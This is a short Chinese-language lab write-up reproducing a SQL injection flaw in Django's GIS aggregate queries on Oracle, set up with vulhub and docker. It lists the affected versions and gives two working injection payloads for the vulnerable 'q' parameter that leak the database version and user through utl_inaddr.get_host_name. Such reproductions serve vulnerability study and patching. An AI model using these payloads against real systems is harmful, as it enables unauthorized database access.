1.简介django
Django是用Python开发的一个免费开源的Web框架,提供了许多网站后台开发经常用到的模块,使开发者能够专注于业务部分。并且囊括的Web应用部分可以用于快速搭建高性能、优雅的网站。
2.漏洞介绍
在GIS 查询功能中存在的SQL注入漏洞,使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句
Django 1.11.29之前的1.11.x版本、2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本中存在SQL注入漏洞
3.复现过程
3.1 开启环境
使用的是vulhub+docker,拉取镜像
docker-compose up -d
3.2访问
8000端口打开界面如下图所示,表示搭建成功
3.3漏洞利用
访问路径不对,提示有admin、vuln、vuln23个页面,存在漏洞的是vuln、vuln2
payload1:
/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
payload2:
q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20--
oracles数据库注入方式:
参考大大:
网络安全进阶学习第十五课——Oracle SQL注入-CSDN博客
4.关闭环境
docker-compose down